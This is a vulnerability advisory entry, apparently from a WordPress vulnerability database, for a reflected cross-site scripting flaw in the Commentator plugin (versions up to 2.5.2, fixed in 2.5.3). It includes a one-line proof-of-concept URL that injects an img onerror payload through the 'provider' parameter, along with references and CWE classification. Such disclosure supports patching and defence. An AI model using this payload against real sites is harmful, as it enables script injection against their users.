Commentator <= 2.5.2 - Reflected Cross-Site Scripting (XSS)



Proof of Concept
http://www.example.com/wp-admin/admin-ajax.php?action=commentator_social_signin&provider=facebook"><img src=x onerror=alert(1)>

Affects Plugin

fixed in version 2.5.3
- plugin closed

References

PacketStorm 135237
URL https://web.archive.org/web/20160322123918/https://permalink.gmane.org/gmane.comp.security.oss.general/18569
URL https://codecanyon.net/item/commentator-wordpress-plugin/6425752

Classification

Type XSS
OWASP Top 10 A7: Cross-Site Scripting (XSS)
CWE CWE-79

Miscellaneous

Submitter ethicalhack3r
Submitter Website https://dewhurstsecurity.com/
Submitter Twitter ethicalhack3r
Views 6586
Verified No
WPVDB ID 8363

Timeline

Publicly Published 2016-01-13 (over 4 years ago)
Added 2016-01-13 (over 4 years ago)
Last Updated 2019-10-31 (7 months ago)

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